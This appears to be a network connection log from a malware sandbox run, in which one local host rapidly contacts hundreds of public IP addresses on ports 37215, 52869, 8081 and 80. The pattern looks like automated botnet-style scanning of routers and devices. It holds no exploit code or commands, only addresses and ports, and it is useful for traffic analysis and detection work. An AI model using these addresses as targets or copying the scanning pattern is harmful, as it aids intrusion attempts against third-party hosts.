Jul 20, 2024 23:00:59.115278006 CEST	56040	52869	192.168.2.23	62.90.39.173
Jul 20, 2024 23:00:59.116285086 CEST	33258	8081	192.168.2.23	85.16.45.188
Jul 20, 2024 23:00:59.116285086 CEST	33258	8081	192.168.2.23	85.16.45.188
Jul 20, 2024 23:00:59.116868973 CEST	80	38120	95.16.233.29	192.168.2.23
Jul 20, 2024 23:00:59.116899967 CEST	8081	42124	83.20.70.35	192.168.2.23
Jul 20, 2024 23:00:59.116961002 CEST	8081	44222	95.74.8.198	192.168.2.23
Jul 20, 2024 23:00:59.116991043 CEST	52869	54012	218.185.172.90	192.168.2.23
Jul 20, 2024 23:00:59.117029905 CEST	54012	52869	192.168.2.23	218.185.172.90
Jul 20, 2024 23:00:59.117032051 CEST	57200	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:00:59.117640018 CEST	80	60552	95.157.203.128	192.168.2.23
Jul 20, 2024 23:00:59.117687941 CEST	60552	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:59.117784977 CEST	34148	8081	192.168.2.23	85.16.45.188
Jul 20, 2024 23:00:59.118988991 CEST	8081	45110	95.74.8.198	192.168.2.23
Jul 20, 2024 23:00:59.119033098 CEST	45110	8081	192.168.2.23	95.74.8.198
Jul 20, 2024 23:00:59.119329929 CEST	80	56156	95.170.196.15	192.168.2.23
Jul 20, 2024 23:00:59.119393110 CEST	38090	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:59.119457006 CEST	38090	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:59.120050907 CEST	36116	8081	192.168.2.23	51.210.198.118
Jul 20, 2024 23:00:59.120050907 CEST	36116	8081	192.168.2.23	51.210.198.118
Jul 20, 2024 23:00:59.120277882 CEST	36248	52869	192.168.2.23	63.80.178.96
Jul 20, 2024 23:00:59.120522976 CEST	52869	56040	62.90.39.173	192.168.2.23
Jul 20, 2024 23:00:59.120579958 CEST	56040	52869	192.168.2.23	62.90.39.173
Jul 20, 2024 23:00:59.121263981 CEST	8081	33258	85.16.45.188	192.168.2.23
Jul 20, 2024 23:00:59.121694088 CEST	39134	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:59.122296095 CEST	80	57200	95.170.196.15	192.168.2.23
Jul 20, 2024 23:00:59.122311115 CEST	37004	8081	192.168.2.23	51.210.198.118
Jul 20, 2024 23:00:59.122452021 CEST	57200	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:00:59.122889996 CEST	8081	34148	85.16.45.188	192.168.2.23
Jul 20, 2024 23:00:59.122981071 CEST	34148	8081	192.168.2.23	85.16.45.188
Jul 20, 2024 23:00:59.123706102 CEST	60010	52869	192.168.2.23	196.57.233.80
Jul 20, 2024 23:00:59.124067068 CEST	42306	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:59.124067068 CEST	42306	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:59.124411106 CEST	80	38090	95.50.34.145	192.168.2.23
Jul 20, 2024 23:00:59.124527931 CEST	58772	8081	192.168.2.23	61.254.65.221
Jul 20, 2024 23:00:59.124527931 CEST	58772	8081	192.168.2.23	61.254.65.221
Jul 20, 2024 23:00:59.124660969 CEST	80	34888	95.107.6.30	192.168.2.23
Jul 20, 2024 23:00:59.124691010 CEST	8081	49870	77.232.27.69	192.168.2.23
Jul 20, 2024 23:00:59.124809980 CEST	8081	42998	160.20.175.254	192.168.2.23
Jul 20, 2024 23:00:59.124840975 CEST	8081	39242	50.166.250.192	192.168.2.23
Jul 20, 2024 23:00:59.125014067 CEST	8081	36116	51.210.198.118	192.168.2.23
Jul 20, 2024 23:00:59.125216961 CEST	52869	36248	63.80.178.96	192.168.2.23
Jul 20, 2024 23:00:59.125294924 CEST	36248	52869	192.168.2.23	63.80.178.96
Jul 20, 2024 23:00:59.125770092 CEST	59658	8081	192.168.2.23	61.254.65.221
Jul 20, 2024 23:00:59.126486063 CEST	43354	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:59.127038002 CEST	80	39134	95.50.34.145	192.168.2.23
Jul 20, 2024 23:00:59.127168894 CEST	39134	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:59.127460003 CEST	8081	37004	51.210.198.118	192.168.2.23
Jul 20, 2024 23:00:59.127526999 CEST	37004	8081	192.168.2.23	51.210.198.118
Jul 20, 2024 23:00:59.127866983 CEST	41550	37215	192.168.2.23	41.166.159.225
Jul 20, 2024 23:00:59.128618956 CEST	80	59870	95.102.82.117	192.168.2.23
Jul 20, 2024 23:00:59.128752947 CEST	8081	43762	47.26.45.215	192.168.2.23
Jul 20, 2024 23:00:59.128818989 CEST	52869	60010	196.57.233.80	192.168.2.23
Jul 20, 2024 23:00:59.128823042 CEST	47690	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:59.128925085 CEST	47690	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:59.128953934 CEST	60010	52869	192.168.2.23	196.57.233.80
Jul 20, 2024 23:00:59.129131079 CEST	80	42306	95.106.65.7	192.168.2.23
Jul 20, 2024 23:00:59.129645109 CEST	8081	58772	61.254.65.221	192.168.2.23
Jul 20, 2024 23:00:59.129638910 CEST	60632	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:59.129638910 CEST	60632	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:59.130677938 CEST	34477	37215	192.168.2.23	73.30.190.208
Jul 20, 2024 23:00:59.130686045 CEST	34477	37215	192.168.2.23	157.6.190.118
Jul 20, 2024 23:00:59.130729914 CEST	34477	37215	192.168.2.23	183.216.240.28
Jul 20, 2024 23:00:59.130733013 CEST	34477	37215	192.168.2.23	157.143.36.231
Jul 20, 2024 23:00:59.130889893 CEST	34477	37215	192.168.2.23	190.191.31.168
Jul 20, 2024 23:00:59.130902052 CEST	34477	37215	192.168.2.23	41.209.213.136
Jul 20, 2024 23:00:59.130912066 CEST	8081	59658	61.254.65.221	192.168.2.23
Jul 20, 2024 23:00:59.130918980 CEST	34477	37215	192.168.2.23	41.15.120.161
Jul 20, 2024 23:00:59.130918980 CEST	34477	37215	192.168.2.23	197.55.37.167
Jul 20, 2024 23:00:59.130979061 CEST	34477	37215	192.168.2.23	157.194.218.103
Jul 20, 2024 23:00:59.131093025 CEST	34477	37215	192.168.2.23	41.220.149.121
Jul 20, 2024 23:00:59.131228924 CEST	34477	37215	192.168.2.23	41.13.125.79
Jul 20, 2024 23:00:59.131344080 CEST	34477	37215	192.168.2.23	78.165.48.111
Jul 20, 2024 23:00:59.131496906 CEST	34477	37215	192.168.2.23	157.18.114.138
Jul 20, 2024 23:00:59.131690025 CEST	34477	37215	192.168.2.23	197.103.118.184
Jul 20, 2024 23:00:59.131690025 CEST	34477	37215	192.168.2.23	157.30.178.43
Jul 20, 2024 23:00:59.131690025 CEST	34477	37215	192.168.2.23	143.172.232.120
Jul 20, 2024 23:00:59.131690025 CEST	34477	37215	192.168.2.23	53.126.200.234
Jul 20, 2024 23:00:59.131690025 CEST	34477	37215	192.168.2.23	213.222.140.46
Jul 20, 2024 23:00:59.131690025 CEST	34477	37215	192.168.2.23	41.110.13.55
Jul 20, 2024 23:00:59.131838083 CEST	34477	37215	192.168.2.23	157.240.41.227
Jul 20, 2024 23:00:59.131838083 CEST	34477	37215	192.168.2.23	221.47.64.146
Jul 20, 2024 23:00:59.132145882 CEST	80	43354	95.106.65.7	192.168.2.23
Jul 20, 2024 23:00:59.132652044 CEST	8081	49602	221.124.98.36	192.168.2.23
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	157.108.179.203
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	157.162.146.35
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	97.57.12.111
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	197.253.162.30
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	197.123.63.160
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	197.233.123.186
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	197.22.245.205
Jul 20, 2024 23:00:59.132872105 CEST	34477	37215	192.168.2.23	41.19.80.234
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	197.216.83.90
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	41.249.225.121
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	157.234.178.94
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	41.214.233.22
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	155.87.186.252
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	84.92.182.192
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	41.191.182.58
Jul 20, 2024 23:00:59.132960081 CEST	34477	37215	192.168.2.23	41.126.51.164
Jul 20, 2024 23:00:59.133110046 CEST	59658	8081	192.168.2.23	61.254.65.221
Jul 20, 2024 23:00:59.133110046 CEST	34477	37215	192.168.2.23	24.243.225.21
Jul 20, 2024 23:00:59.133110046 CEST	34477	37215	192.168.2.23	41.34.43.93
Jul 20, 2024 23:00:59.133110046 CEST	34477	37215	192.168.2.23	41.49.208.136
Jul 20, 2024 23:00:59.133110046 CEST	34477	37215	192.168.2.23	140.213.121.47
Jul 20, 2024 23:00:59.133110046 CEST	34477	37215	192.168.2.23	171.120.131.3
Jul 20, 2024 23:00:59.133110046 CEST	34477	37215	192.168.2.23	41.184.223.13
Jul 20, 2024 23:00:59.133110046 CEST	34477	37215	192.168.2.23	151.219.98.94
Jul 20, 2024 23:00:59.133394957 CEST	37215	41550	41.166.159.225	192.168.2.23
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	197.31.103.251
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	157.80.93.33
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	41.75.151.142
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	157.172.253.192
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	41.157.50.39
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	197.76.176.44
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	197.18.232.222
Jul 20, 2024 23:00:59.133466005 CEST	34477	37215	192.168.2.23	41.62.8.15
Jul 20, 2024 23:00:59.133567095 CEST	34477	37215	192.168.2.23	197.124.1.161
Jul 20, 2024 23:00:59.133567095 CEST	34477	37215	192.168.2.23	197.246.10.188
Jul 20, 2024 23:00:59.133567095 CEST	34477	37215	192.168.2.23	41.150.249.143
Jul 20, 2024 23:00:59.133568048 CEST	34477	37215	192.168.2.23	157.12.106.29
Jul 20, 2024 23:00:59.133568048 CEST	34477	37215	192.168.2.23	197.201.205.44
Jul 20, 2024 23:00:59.133568048 CEST	34477	37215	192.168.2.23	51.130.70.126
Jul 20, 2024 23:00:59.133568048 CEST	34477	37215	192.168.2.23	189.181.166.107
Jul 20, 2024 23:00:59.133568048 CEST	34477	37215	192.168.2.23	41.169.212.248
Jul 20, 2024 23:00:59.133910894 CEST	34477	37215	192.168.2.23	197.79.0.245
Jul 20, 2024 23:00:59.133910894 CEST	34477	37215	192.168.2.23	157.183.218.56
Jul 20, 2024 23:00:59.133910894 CEST	34477	37215	192.168.2.23	41.196.168.39
Jul 20, 2024 23:00:59.133910894 CEST	34477	37215	192.168.2.23	41.157.48.35
Jul 20, 2024 23:00:59.133910894 CEST	34477	37215	192.168.2.23	157.21.62.146
Jul 20, 2024 23:00:59.133910894 CEST	34477	37215	192.168.2.23	157.164.244.13
Jul 20, 2024 23:00:59.133996964 CEST	8081	47690	186.199.72.114	192.168.2.23
Jul 20, 2024 23:00:59.134807110 CEST	80	60632	95.43.93.252	192.168.2.23
Jul 20, 2024 23:00:59.135910034 CEST	37215	34477	73.30.190.208	192.168.2.23
Jul 20, 2024 23:00:59.136058092 CEST	37215	34477	183.216.240.28	192.168.2.23
Jul 20, 2024 23:00:59.136277914 CEST	37215	34477	157.194.218.103	192.168.2.23
Jul 20, 2024 23:00:59.136312008 CEST	37215	34477	41.220.149.121	192.168.2.23
Jul 20, 2024 23:00:59.136324883 CEST	34477	37215	192.168.2.23	197.120.85.223
Jul 20, 2024 23:00:59.136324883 CEST	34477	37215	192.168.2.23	157.101.75.73
Jul 20, 2024 23:00:59.136324883 CEST	34477	37215	192.168.2.23	100.185.171.31
Jul 20, 2024 23:00:59.136324883 CEST	34477	37215	192.168.2.23	157.4.238.150
Jul 20, 2024 23:00:59.136324883 CEST	34477	37215	192.168.2.23	45.18.141.28
Jul 20, 2024 23:00:59.136324883 CEST	43354	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:59.136324883 CEST	34477	37215	192.168.2.23	41.151.96.226
Jul 20, 2024 23:00:59.136324883 CEST	34477	37215	192.168.2.23	41.170.117.120
Jul 20, 2024 23:00:59.136440039 CEST	37215	34477	41.209.213.136	192.168.2.23
Jul 20, 2024 23:00:59.136676073 CEST	80	42564	95.74.78.222	192.168.2.23
Jul 20, 2024 23:00:59.136706114 CEST	8081	59246	91.55.81.201	192.168.2.23
Jul 20, 2024 23:00:59.136734962 CEST	37215	34477	78.165.48.111	192.168.2.23
Jul 20, 2024 23:00:59.137450933 CEST	37215	34477	197.103.118.184	192.168.2.23
Jul 20, 2024 23:00:59.137474060 CEST	37215	34477	41.15.120.161	192.168.2.23
Jul 20, 2024 23:00:59.137490034 CEST	37215	34477	157.30.178.43	192.168.2.23
Jul 20, 2024 23:00:59.137516975 CEST	37215	34477	157.240.41.227	192.168.2.23
Jul 20, 2024 23:00:59.137531042 CEST	37215	34477	143.172.232.120	192.168.2.23
Jul 20, 2024 23:00:59.138179064 CEST	34477	37215	192.168.2.23	197.143.253.97
Jul 20, 2024 23:00:59.138180017 CEST	34477	37215	192.168.2.23	197.232.234.120
Jul 20, 2024 23:00:59.138180017 CEST	34477	37215	192.168.2.23	41.41.154.37
Jul 20, 2024 23:00:59.138180017 CEST	34477	37215	192.168.2.23	63.221.240.107
Jul 20, 2024 23:00:59.138180017 CEST	34477	37215	192.168.2.23	171.214.181.181
Jul 20, 2024 23:00:59.138180017 CEST	34477	37215	192.168.2.23	197.35.36.242
Jul 20, 2024 23:00:59.138180017 CEST	34477	37215	192.168.2.23	41.19.179.83
Jul 20, 2024 23:00:59.138180017 CEST	34477	37215	192.168.2.23	157.18.59.175
Jul 20, 2024 23:00:59.138288975 CEST	37215	34477	157.143.36.231	192.168.2.23
Jul 20, 2024 23:00:59.138324976 CEST	37215	34477	157.18.114.138	192.168.2.23
Jul 20, 2024 23:00:59.138464928 CEST	37215	34477	190.191.31.168	192.168.2.23
Jul 20, 2024 23:00:59.138478041 CEST	37215	34477	197.55.37.167	192.168.2.23
Jul 20, 2024 23:00:59.138534069 CEST	37215	34477	221.47.64.146	192.168.2.23
Jul 20, 2024 23:00:59.138868093 CEST	37215	34477	53.126.200.234	192.168.2.23
Jul 20, 2024 23:00:59.138906002 CEST	37215	34477	41.13.125.79	192.168.2.23
Jul 20, 2024 23:00:59.139008045 CEST	37215	34477	157.108.179.203	192.168.2.23
Jul 20, 2024 23:00:59.139086008 CEST	37215	34477	197.124.1.161	192.168.2.23
Jul 20, 2024 23:00:59.139377117 CEST	37215	34477	197.216.83.90	192.168.2.23
Jul 20, 2024 23:00:59.139626980 CEST	37215	34477	197.246.10.188	192.168.2.23
Jul 20, 2024 23:00:59.139918089 CEST	37215	34477	41.249.225.121	192.168.2.23
Jul 20, 2024 23:00:59.139945030 CEST	37215	34477	41.150.249.143	192.168.2.23
Jul 20, 2024 23:00:59.140229940 CEST	37215	34477	157.162.146.35	192.168.2.23
Jul 20, 2024 23:00:59.140296936 CEST	37215	34477	157.12.106.29	192.168.2.23
Jul 20, 2024 23:00:59.140566111 CEST	37215	34477	213.222.140.46	192.168.2.23
Jul 20, 2024 23:00:59.140604973 CEST	37215	34477	197.201.205.44	192.168.2.23
Jul 20, 2024 23:00:59.140795946 CEST	37215	34477	197.31.103.251	192.168.2.23
Jul 20, 2024 23:00:59.140945911 CEST	37215	34477	97.57.12.111	192.168.2.23
Jul 20, 2024 23:00:59.141098022 CEST	37215	34477	41.110.13.55	192.168.2.23
Jul 20, 2024 23:00:59.141777992 CEST	37215	34477	157.80.93.33	192.168.2.23
Jul 20, 2024 23:00:59.141973019 CEST	37215	34477	157.234.178.94	192.168.2.23
Jul 20, 2024 23:00:59.142004967 CEST	37215	34477	51.130.70.126	192.168.2.23
Jul 20, 2024 23:00:59.142505884 CEST	37215	34477	197.120.85.223	192.168.2.23
Jul 20, 2024 23:00:59.142513990 CEST	34477	37215	192.168.2.23	157.197.127.31
Jul 20, 2024 23:00:59.142513990 CEST	34477	37215	192.168.2.23	207.86.100.172
Jul 20, 2024 23:00:59.142513990 CEST	41550	37215	192.168.2.23	41.166.159.225
Jul 20, 2024 23:00:59.142513990 CEST	34477	37215	192.168.2.23	157.120.240.119
Jul 20, 2024 23:00:59.142513990 CEST	34477	37215	192.168.2.23	41.242.223.71
Jul 20, 2024 23:00:59.142514944 CEST	34477	37215	192.168.2.23	41.252.26.69
Jul 20, 2024 23:00:59.142514944 CEST	34477	37215	192.168.2.23	25.66.181.84
Jul 20, 2024 23:00:59.142514944 CEST	34477	37215	192.168.2.23	157.159.219.196
Jul 20, 2024 23:00:59.142590046 CEST	37215	34477	197.253.162.30	192.168.2.23
Jul 20, 2024 23:00:59.142628908 CEST	37215	34477	41.214.233.22	192.168.2.23
Jul 20, 2024 23:00:59.142910004 CEST	37215	34477	157.101.75.73	192.168.2.23
Jul 20, 2024 23:00:59.142941952 CEST	37215	34477	189.181.166.107	192.168.2.23
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	157.173.18.94
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	157.181.171.226
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	157.15.153.91
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	175.74.56.65
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	125.196.23.35
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	157.78.4.32
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	41.178.102.2
Jul 20, 2024 23:00:59.142963886 CEST	34477	37215	192.168.2.23	41.40.27.91
Jul 20, 2024 23:00:59.142971039 CEST	37215	34477	100.185.171.31	192.168.2.23
Jul 20, 2024 23:00:59.143075943 CEST	37215	34477	41.169.212.248	192.168.2.23
Jul 20, 2024 23:00:59.143335104 CEST	34477	37215	192.168.2.23	18.243.124.162
Jul 20, 2024 23:00:59.143335104 CEST	34477	37215	192.168.2.23	41.85.128.203
Jul 20, 2024 23:00:59.143335104 CEST	34477	37215	192.168.2.23	41.107.179.101
Jul 20, 2024 23:00:59.143336058 CEST	34477	37215	192.168.2.23	41.9.100.4
Jul 20, 2024 23:00:59.143336058 CEST	34477	37215	192.168.2.23	86.210.132.218
Jul 20, 2024 23:00:59.143336058 CEST	34477	37215	192.168.2.23	54.106.44.123
Jul 20, 2024 23:00:59.143336058 CEST	34477	37215	192.168.2.23	157.23.64.183
Jul 20, 2024 23:00:59.143336058 CEST	34477	37215	192.168.2.23	143.24.243.255
Jul 20, 2024 23:00:59.143513918 CEST	37215	34477	155.87.186.252	192.168.2.23
Jul 20, 2024 23:00:59.143560886 CEST	37215	34477	197.79.0.245	192.168.2.23
Jul 20, 2024 23:00:59.143925905 CEST	37215	34477	41.75.151.142	192.168.2.23
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	41.239.253.253
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	197.43.71.236
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	87.60.240.109
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	157.48.170.32
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	157.194.218.103
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	197.234.92.29
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	90.7.74.115
Jul 20, 2024 23:00:59.144020081 CEST	34477	37215	192.168.2.23	78.165.48.111
Jul 20, 2024 23:00:59.144036055 CEST	37215	34477	197.143.253.97	192.168.2.23
Jul 20, 2024 23:00:59.144243002 CEST	37215	34477	197.123.63.160	192.168.2.23
Jul 20, 2024 23:00:59.144339085 CEST	37215	34477	197.232.234.120	192.168.2.23
Jul 20, 2024 23:00:59.144371986 CEST	37215	34477	157.172.253.192	192.168.2.23
Jul 20, 2024 23:00:59.144443989 CEST	37215	34477	41.41.154.37	192.168.2.23
Jul 20, 2024 23:00:59.144649029 CEST	8081	48840	13.154.39.145	192.168.2.23
Jul 20, 2024 23:00:59.144906998 CEST	37215	34477	41.157.50.39	192.168.2.23
Jul 20, 2024 23:00:59.144927979 CEST	37215	34477	157.4.238.150	192.168.2.23
Jul 20, 2024 23:00:59.144942045 CEST	37215	34477	197.76.176.44	192.168.2.23
Jul 20, 2024 23:00:59.144974947 CEST	37215	34477	63.221.240.107	192.168.2.23
Jul 20, 2024 23:00:59.145499945 CEST	37215	34477	157.183.218.56	192.168.2.23
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	197.24.118.43
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	197.236.109.95
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	157.35.27.124
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	41.119.241.12
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	41.74.135.237
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	197.75.180.68
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	157.169.87.139
Jul 20, 2024 23:00:59.145558119 CEST	34477	37215	192.168.2.23	155.106.246.220
Jul 20, 2024 23:00:59.145643950 CEST	37215	34477	24.243.225.21	192.168.2.23
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	41.154.136.96
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	157.253.97.86
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	41.222.38.232
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	157.203.233.148
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	165.98.155.117
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	197.136.36.0
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	41.183.16.175
Jul 20, 2024 23:00:59.145709038 CEST	34477	37215	192.168.2.23	157.160.155.100
Jul 20, 2024 23:00:59.145746946 CEST	37215	34477	197.233.123.186	192.168.2.23
Jul 20, 2024 23:00:59.145939112 CEST	37215	34477	41.196.168.39	192.168.2.23
Jul 20, 2024 23:00:59.146045923 CEST	37215	34477	41.34.43.93	192.168.2.23
Jul 20, 2024 23:00:59.146100044 CEST	37215	34477	84.92.182.192	192.168.2.23
Jul 20, 2024 23:00:59.146672964 CEST	37215	34477	45.18.141.28	192.168.2.23
Jul 20, 2024 23:00:59.146826982 CEST	37215	34477	41.191.182.58	192.168.2.23
Jul 20, 2024 23:00:59.146857023 CEST	37215	34477	197.18.232.222	192.168.2.23
Jul 20, 2024 23:00:59.146939993 CEST	37215	34477	171.214.181.181	192.168.2.23
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	23.114.73.51
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	41.27.52.170
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	197.233.113.25
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	197.88.121.56
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	197.230.101.11
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	18.54.13.187
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	157.194.83.103
Jul 20, 2024 23:00:59.147084951 CEST	34477	37215	192.168.2.23	197.252.113.91
Jul 20, 2024 23:00:59.147555113 CEST	37215	34477	197.22.245.205	192.168.2.23
Jul 20, 2024 23:00:59.147586107 CEST	37215	34477	41.151.96.226	192.168.2.23
Jul 20, 2024 23:00:59.147614956 CEST	37215	34477	41.62.8.15	192.168.2.23
Jul 20, 2024 23:00:59.147648096 CEST	37215	34477	197.35.36.242	192.168.2.23
Jul 20, 2024 23:00:59.147798061 CEST	37215	34477	41.49.208.136	192.168.2.23
Jul 20, 2024 23:00:59.147964001 CEST	37215	34477	41.126.51.164	192.168.2.23
Jul 20, 2024 23:00:59.148144007 CEST	34477	37215	192.168.2.23	41.96.53.112
Jul 20, 2024 23:00:59.148144007 CEST	47490	37215	192.168.2.23	157.211.128.165
Jul 20, 2024 23:00:59.148144007 CEST	60312	37215	192.168.2.23	41.73.125.205
Jul 20, 2024 23:00:59.148144007 CEST	45076	37215	192.168.2.23	41.126.20.80
Jul 20, 2024 23:00:59.148144007 CEST	34477	37215	192.168.2.23	157.240.41.227
Jul 20, 2024 23:00:59.148144960 CEST	53440	37215	192.168.2.23	157.5.83.65
Jul 20, 2024 23:00:59.148144960 CEST	55784	37215	192.168.2.23	197.64.180.236
Jul 20, 2024 23:00:59.148144960 CEST	36240	37215	192.168.2.23	157.231.240.156
Jul 20, 2024 23:00:59.148827076 CEST	37215	34477	157.197.127.31	192.168.2.23
Jul 20, 2024 23:00:59.148870945 CEST	37215	34477	41.170.117.120	192.168.2.23
Jul 20, 2024 23:00:59.148900986 CEST	37215	34477	207.86.100.172	192.168.2.23
Jul 20, 2024 23:00:59.148931026 CEST	37215	34477	41.19.179.83	192.168.2.23
Jul 20, 2024 23:00:59.148960114 CEST	37215	34477	18.243.124.162	192.168.2.23
Jul 20, 2024 23:00:59.149017096 CEST	37215	34477	157.18.59.175	192.168.2.23
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	197.110.100.42
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	157.238.8.83
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	157.239.202.181
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	197.249.98.64
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	197.219.162.168
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	157.94.91.121
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	78.27.24.201
Jul 20, 2024 23:00:59.149226904 CEST	34477	37215	192.168.2.23	99.51.146.234
Jul 20, 2024 23:00:59.149559021 CEST	37215	34477	157.120.240.119	192.168.2.23
Jul 20, 2024 23:00:59.149580002 CEST	37215	34477	41.239.253.253	192.168.2.23
Jul 20, 2024 23:00:59.149595022 CEST	37215	34477	140.213.121.47	192.168.2.23
Jul 20, 2024 23:00:59.149645090 CEST	37215	34477	41.85.128.203	192.168.2.23
Jul 20, 2024 23:00:59.150018930 CEST	37215	34477	41.242.223.71	192.168.2.23
Jul 20, 2024 23:00:59.150042057 CEST	37215	34477	197.43.71.236	192.168.2.23
Jul 20, 2024 23:00:59.150392056 CEST	37215	34477	41.107.179.101	192.168.2.23
Jul 20, 2024 23:00:59.150495052 CEST	37215	34477	41.252.26.69	192.168.2.23
Jul 20, 2024 23:00:59.150567055 CEST	37215	34477	41.19.80.234	192.168.2.23
Jul 20, 2024 23:00:59.151024103 CEST	37215	34477	157.6.190.118	192.168.2.23
Jul 20, 2024 23:00:59.151067972 CEST	37215	34477	87.60.240.109	192.168.2.23
Jul 20, 2024 23:00:59.151129007 CEST	37215	34477	25.66.181.84	192.168.2.23
Jul 20, 2024 23:00:59.151160002 CEST	37215	34477	157.48.170.32	192.168.2.23
Jul 20, 2024 23:00:59.151308060 CEST	37215	34477	197.24.118.43	192.168.2.23
Jul 20, 2024 23:00:59.151952028 CEST	37215	34477	171.120.131.3	192.168.2.23
Jul 20, 2024 23:00:59.151998997 CEST	37215	34477	41.9.100.4	192.168.2.23
Jul 20, 2024 23:00:59.152112961 CEST	37215	34477	157.159.219.196	192.168.2.23
Jul 20, 2024 23:00:59.152441025 CEST	37215	34477	197.234.92.29	192.168.2.23
Jul 20, 2024 23:00:59.152456999 CEST	37215	34477	23.114.73.51	192.168.2.23
Jul 20, 2024 23:00:59.152640104 CEST	37215	34477	90.7.74.115	192.168.2.23
Jul 20, 2024 23:00:59.152654886 CEST	37215	34477	41.184.223.13	192.168.2.23
Jul 20, 2024 23:00:59.152689934 CEST	8081	43378	35.61.103.70	192.168.2.23
Jul 20, 2024 23:00:59.152704954 CEST	80	47632	95.81.115.211	192.168.2.23
Jul 20, 2024 23:00:59.152718067 CEST	8081	54730	116.31.165.18	192.168.2.23
Jul 20, 2024 23:00:59.153076887 CEST	37215	34477	86.210.132.218	192.168.2.23
Jul 20, 2024 23:00:59.153141975 CEST	34477	37215	192.168.2.23	157.134.162.69
Jul 20, 2024 23:00:59.153141975 CEST	34477	37215	192.168.2.23	41.4.5.8
Jul 20, 2024 23:00:59.153142929 CEST	34477	37215	192.168.2.23	197.130.15.36
